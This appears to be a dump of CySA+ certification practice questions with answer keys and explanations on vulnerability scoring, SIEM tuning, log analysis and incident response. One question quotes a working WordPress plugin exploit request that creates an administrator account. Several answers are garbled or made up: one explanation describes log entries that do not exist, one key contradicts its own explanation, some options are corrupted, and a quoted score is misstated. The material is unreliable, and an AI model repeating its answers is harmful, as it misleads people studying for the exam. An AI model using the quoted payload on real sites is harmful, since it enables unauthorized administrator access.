nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker¹². nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges³⁴. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

NEW QUESTION 42

Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?

- A. MFA
- B. User and password
- C. PAM
- D. Key pair

Answer: D

Explanation:

Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA. References: Authentication Methods - Configuring Tenant-Wide Settings in Azure ..., Cloud Foundation - Oracle Help Center

NEW QUESTION 46

Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H
Which of the following attributes correctly describes this vulnerability?

- A. A user is required to exploit this vulnerability.
- B. The vulnerability is network based.
- C. The vulnerability does not affect confidentiality.
- D. The complexity to exploit the vulnerability is high.

Answer: B

Explanation:

The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:
? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
? <https://www.comptia.org/certifications/cybersecurity-analyst>
? <https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/>

NEW QUESTION 51

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getconnection (database01, "alpha " , "AXTV. 127GdCx94GTd") ; Which of the following is the most likely vulnerability in this system?

- A. Lack of input validation
- B. SQL injection
- C. Hard-coded credential
- D. Buffer overflow attacks

Answer: C

Explanation:

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application.

NEW QUESTION 53

A team of analysts is developing a new internal system that correlates information from a variety of sources analyzes that information, and then triggers notifications according to company policy Which of the following technologies was deployed?

- A. SIEM
- B. SOAR
- C. IPS
- D. CERT

Answer: A

Explanation:

SIEM (Security Information and Event Management) technology aggregates and analyzes activity from many different resources across your IT infrastructure. The description of correlating information from various sources and triggering notifications aligns with the capabilities of a SIEM system.

NEW QUESTION 57

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

- A. Log retention
- B. Log rotation
- C. Maximum log size
- D. Threshold value

Answer: D

Explanation:

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds 10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis12

NEW QUESTION 62

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

- A. Enrich the SIEM-ingested data to include all data required for triage.
- B. Schedule a task to disable alerting when vulnerability scans are executing.
- C. Filter all alarms in the SIEM with low severity.
- D. Add a SOAR rule to drop irrelevant and duplicated notifications.

Answer: B

NEW QUESTION 67

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of the following best describes how PII should be safeguarded during an incident?

- A. Implement data encryption and close the data so only the company has access.
- B. Ensure permissions are limited in the investigation team and encrypt the data.
- C. Implement data encryption and create a standardized procedure for deleting data that is no longer needed.
- D. Ensure that permissions are open only to the company.

Answer: B

Explanation:

The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, "Data Protection and Privacy Practices", page 195; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 4.0 "Compliance and Assessment", Objective 4.1 "Given a scenario, analyze data as part of a security incident", Sub-objective "Data encryption", page 23

CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

NEW QUESTION 70

An analyst views the following log entries:

```
202.180.158.22 - - [12/Aug/2018:11:42:20 -0200] "GET /src/sourceCode.bat\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:16 -0200] "GET /img/orgChart.jpg\HTTP/1.0" 200 291
121.19.30.221 - - [12/Aug/2018:13:04:17 -0200] "GET /cgi-bin/stats.pl?month=12\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartDirectors.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:17 -0200] "GET /img/orgChartStaff.jpg\HTTP/1.0" 200 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderlings.jpg\HTTP/1.0" 404 291
216.122.5.5 - - [12/Aug/2018:13:04:18 -0200] "GET /cgi-bin/quarterly.pl?qtr=3\HTTP/1.0" 404 291
134.17.188.5 - - [12/Aug/2018:13:04:18 -0200] "GET /img/orgChartUnderUnderlings.jpg.jpg\HTTP/1.0" 404 291
```

The organization has a partner vendor with hosts in the 216.122.5.x range. This partner vendor is required to have access to monthly reports and is the only external vendor with authorized access. The organization prioritizes incident investigation according to the following hierarchy: unauthorized data disclosure is more critical than denial of service attempts.

which are more important than ensuring vendor data access.

Based on the log files and the organization's priorities, which of the following hosts warrants additional investigation?

- A. 121.19.30.221
- B. 134.17.188.5
- C. 202.180.158.2
- D. 216.122.5.5

Answer: A

Explanation:

The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is 121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor's range.

The log files show the following information:

? The IP addresses of the hosts that accessed the web server

? The date and time of the access

? The file path of the requested resource

? The number of bytes transferred

The organization's priorities are:

? Unauthorized data disclosure is more critical than denial of service attempts

? Denial of service attempts are more important than ensuring vendor data access According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so¹²³. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor's range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization's priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests⁴⁵. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization's priorities, and there is no evidence that this host succeeded in disrupting the web server's normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor's range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization's requirements. Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the organization.

NEW QUESTION 75

A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches. Which of the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Select two).

- A. Hostname
- B. Missing KPI
- C. CVE details
- D. POC availability
- E. IoCs
- F. npm identifier

Answer: CE

Explanation:

CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

NEW QUESTION 79

Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

- A. It provides analytical pivoting and identifies knowledge gaps.
- B. It guarantees that the discovered vulnerability will not be exploited again in the future.
- C. It provides concise evidence that can be used in court
- D. It allows for proactive detection and analysis of attack events

Answer: A

Explanation:

The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation.

NEW QUESTION 84

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

Answer: A

NEW QUESTION 87

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?

- A. Implement step-up authentication for administrators
- B. Improve employee training and awareness
- C. Increase password complexity standards
- D. Deploy mobile device management

Answer: B

Explanation:

The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security.

NEW QUESTION 90

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

- A. False positive
- B. True negative
- C. False negative
- D. True positive

Answer: C

Explanation:

The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.

NEW QUESTION 94

A security analyst must preserve a system hard drive that was involved in a litigation request Which of the following is the best method to ensure the data on the device is not modified?

- A. Generate a hash value and make a backup image.
- B. Encrypt the device to ensure confidentiality of the data.
- C. Protect the device with a complex password.
- D. Perform a memory scan dump to collect residual data.

Answer: A

Explanation:

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

NEW QUESTION 96

An analyst needs to provide recommendations based on a recent vulnerability scan:

Plug-in name	Family
SMB use domain SID to enumerate users	Windows : User management
SYN scanner	Port scanners
SSL certificate cannot be trusted	General
Scan not performed with admin privileges	Settings

Which of the following should the analyst recommend addressing to ensure potential vulnerabilities are identified?

- A. SMB use domain SID to enumerate users
- B. SYN scanner
- C. SSL certificate cannot be trusted
- D. Scan not performed with admin privileges

Answer: D

Explanation:

This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to detect. According to the OWASP Vulnerability Management Guide¹, “scanning without administrative privileges will result in a large number of false negatives and an incomplete scan”. Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.

NEW QUESTION 98

Which of the following would eliminate the need for different passwords for a variety of internal application?

- A. CASB
- B. SSO

- C. PAM
- D. MFA

Answer: B

Explanation:

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

NEW QUESTION 101

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

- A. SLA
- B. MOU
- C. NDA
- D. Limitation of liability

Answer: A

Explanation:

SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels.

NEW QUESTION 104

An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet:

```
/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator
```

Which of the following controls would work best to mitigate the attack represented by this snippet?

- A. Limit user creation to administrators only.
- B. Limit layout creation to administrators only.
- C. Set the directory trx_addons to read only for all users.
- D. Set the directory v2 to read only for all users.

Answer: A

Explanation:

Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint `/wp-json/trx_addons/V2/get/sc_layout`. In this case, the attacker tries to use the `wp_insert_user` function to create a new administrator account on the WordPress site¹². Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators³⁴. Limiting layout creation to administrators only, setting the directory `trx_addons` to read only for all users, and setting the directory `v2` to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site⁵⁶. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention ... - Spiceworks, How to Restrict WordPress User Registration to Specific Email ..., How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting?

NEW QUESTION 105

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?

- A. `grep [IP address] packets.pcap``B cat packets.pcap | grep [IP Address]`
- B. `tcpdump -n -r packets.pcap host [IP address]`
- C. `strings packets.pcap | grep [IP Address]`

Answer: C

Explanation:

`tcpdump` is a command-line tool that can capture and analyze network packets from a given interface or file. The `-n` option prevents `tcpdump` from resolving hostnames, which can speed up the analysis. The `-r` option reads packets from a file, in this case `packets.pcap`. The `host [IP address]` filter specifies that `tcpdump` should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers>

? https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_studied/

NEW QUESTION 106

Which of the following is the most important factor to ensure accurate incident response reporting?

- A. A well-defined timeline of the events
- B. A guideline for regulatory reporting
- C. Logs from the impacted system
- D. A well-developed executive summary

Answer: A

Explanation:

A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account of what happened, when it happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and scope of the damage, the effectiveness of the response, and the lessons learned for future improvement. A timeline also helps to communicate the incident to relevant stakeholders, such as management, legal, regulatory, or media entities. The other factors are also important for incident response reporting, but they are not as essential as a well-defined timeline. Official References:

? <https://www.ibm.com/topics/incident-response>

? <https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps/>

NEW QUESTION 108

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?

- A. Trends
- B. Risk score
- C. Mitigation
- D. Prioritization

Answer: B

Explanation:

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. <https://www.comptia.org/training/books/cysa-cs0-003-study-guide>

NEW QUESTION 112

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

Answer: C

Explanation:

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

NEW QUESTION 115

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

- A. Change the display filter to f c
- B. acciv
- C. pore
- D. Change the display filter to tcg.port=20
- E. Change the display filter to f cp-daca and follow the TCP streams
- F. Navigate to the File menu and select FTP from the Export objects option

Answer: C

Explanation:

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

NEW QUESTION 116

A cybersecurity analyst is recording the following details

- * ID
- * Name
- * Description
- * Classification of information
- * Responsible party

In which of the following documents is the analyst recording this information?

- A. Risk register
- B. Change control documentation
- C. Incident response playbook
- D. Incident response plan

Answer: A

Explanation:

A risk register typically contains details like ID, name, description, classification of information, and responsible party. It's used for tracking identified risks and managing them. Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation.

NEW QUESTION 121

An analyst is evaluating the following vulnerability report:

```
Vulnerability:
  Vulnerability Name: Remote Code Execution
  Group: Information Disclosure
  OWASP: A9 Using Components with Known Vulnerabilities

Metrics:
  CVE Dictionary Entry: CVE-2022-9999
  Base Score: 9.3
  CVSS:3.1 /AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Profile:
  Authentication: Not used
  Times detected: View history
  Aggressiveness: High

Payloads:
  Click here for Request Payload
  Click here for Response Payload
```

Which of the following vulnerability report sections provides information about the level of impact on data confidentiality if a successful exploitation occurs?

- A. Payloads
- B. Metrics
- C. Vulnerability
- D. Profile

Answer: B

Explanation:

The correct answer is B. Metrics.

The Metrics section of the vulnerability report provides information about the level of impact on data confidentiality if a successful exploitation occurs. The Metrics section contains the CVE dictionary entry and the CVSS base score of the vulnerability. CVE stands for Common Vulnerabilities and Exposures and it is a standardized system for identifying and naming vulnerabilities. CVSS stands for Common Vulnerability Scoring System and it is a standardized system for measuring and rating the severity of vulnerabilities.

The CVSS base score is a numerical value between 0 and 10 that reflects the intrinsic characteristics of a vulnerability, such as its exploitability, impact, and scope. The CVSS base score is composed of three metric groups: Base, Temporal, and Environmental. The Base metric group captures the characteristics of a vulnerability that are constant over time and across user environments. The Base metric group consists of six metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and Impact. The Impact metric measures the effect of a vulnerability on the confidentiality, integrity, and availability of the affected resources.

In this case, the CVSS base score of the vulnerability is 9.8, which indicates a critical severity level. The Impact metric of the CVSS base score is 6.0, which indicates a high impact on confidentiality, integrity, and availability. Therefore, the Metrics section provides information about the level of impact on data confidentiality if a successful exploitation occurs.

The other sections of the vulnerability report do not provide information about the level of impact on data confidentiality if a successful exploitation occurs. The Payloads section contains links to request and response payloads that demonstrate how the vulnerability can be exploited. The Payloads section can help an analyst to understand how the attack works, but it does not provide a quantitative measure of the impact. The Vulnerability section contains information about the type, group, and description of the vulnerability. The Vulnerability section can help an analyst to identify and classify the vulnerability, but it does not provide a numerical value of the impact. The Profile section contains information about the authentication, times viewed, and aggressiveness of the vulnerability. The Profile section can help an analyst to assess the risk and priority of the vulnerability, but it does not provide a specific measure of the impact on data confidentiality.

References:

- ? [1] CVE - Common Vulnerabilities and Exposures (CVE)
- ? [2] Common Vulnerability Scoring System SIG
- ? [3] CVSS v3.1 Specification Document
- ? [4] CVSS v3.1 User Guide
- ? [5] How to Read a Vulnerability Report - Security Boulevard

NEW QUESTION 123

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets. Which of the following is this an example of?

- A. Passive network foot printing
- B. OS fingerprinting
- C. Service port identification
- D. Application versioning

Answer: A

Explanation:

Passive network foot printing is the best description of the example, as it reflects the technique of collecting information about a network or system by monitoring or sniffing network traffic without sending any packets or interacting with the target. Foot printing is a term that refers to the process of gathering information about

a target network or system, such as its IP addresses, open ports, operating systems, services, or vulnerabilities. Foot printing can be done for legitimate purposes, such as penetration testing or auditing, or for malicious purposes, such as reconnaissance or intelligence gathering. Foot printing can be classified into two types: active and passive. Active foot printing involves sending packets or requests to the target and analyzing the responses, such as using tools like ping, traceroute, or Nmap. Active foot printing can provide more accurate and detailed information, but it can also be detected by firewalls or intrusion detection systems (IDS). Passive foot printing involves observing or capturing network traffic without sending any packets or requests to the target, such as using tools like tcpdump, Wireshark, or Shodan. Passive foot printing can provide less information, but it can also avoid detection by firewalls or IDS. The example in the question shows that the attacker has gained access to the syslog server on a LAN and reviewed the syslog entries to prioritize possible next targets. A syslog server is a server that collects and stores log messages from various devices or applications on a network. A syslog entry is a record of an event or activity that occurred on a device or application, such as an error, a warning, or an alert. By reviewing the syslog entries, the attacker can obtain information about the network or system, such as its configuration, status, performance, or security issues. This is an example of passive network foot printing, as the attacker is not sending any packets or requests to the target, but rather observing or capturing network traffic from the syslog server. The other options are not correct, as they describe different techniques or concepts.

OS fingerprinting is a technique of identifying the operating system of a target by analyzing its responses to certain packets or requests, such as using tools like Nmap or Xprobe2. OS fingerprinting can be done actively or passively, but it is not what the attacker is doing in the example. Service port identification is a technique of identifying the services running on a target by scanning its open ports and analyzing its responses to certain packets or requests, such as using tools like Nmap or Netcat. Service port identification can be done actively or passively, but it is not what the attacker is doing in the example. Application versioning is a concept that refers to the process of assigning unique identifiers to different versions of an application, such as using numbers, letters, dates, or names. Application versioning can help to track changes, updates, bugs, or features of an application, but it is not related to what the attacker is doing in the example.

NEW QUESTION 126

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

- A. Deploy a WAF to the front of the application.
- B. Replace the current MD5 with SHA-256.
- C. Deploy an antivirus application on the hosting system.
- D. Replace the MD5 with digital signatures.

Answer: B

Explanation:

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system (C) may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D) may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

NEW QUESTION 130

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

- A. Information sharing organization
- B. Blogs/forums
- C. Cybersecurity incident response team
- D. Deep/dark web

Answer: A

Explanation:

An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges.

NEW QUESTION 134

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

- A. Credentialed network scanning
- B. Passive scanning
- C. Agent-based scanning
- D. Dynamic scanning

Answer: C

Explanation:

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

NEW QUESTION 136

An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?

- A. The finding is a false positive and should be ignored.
- B. A rollback had been executed on the instance.
- C. The vulnerability scanner was configured without credentials.
- D. The vulnerability management software needs to be updated.

Answer: B

Explanation:

A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It's Not Just Patching, Section: The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation

NEW QUESTION 137

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

Answer: D

Explanation:

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

? 1: MITRE ATT&CK®

? 2: What is the MITRE ATT&CK Framework? | IBM

? 3: MITRE ATT&CK | MITRE

? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics

| Splunk

? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

NEW QUESTION 139

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Select two).

- A. Law enforcement
- B. Governance
- C. Legal
- D. Manager
- E. Public relations
- F. Human resources

Answer: CE

Explanation:

An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security¹². References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian

NEW QUESTION 140

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

- A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- D. An error was caused by BGP due to new rules applied over the company's internal routers

Answer: B

Explanation:

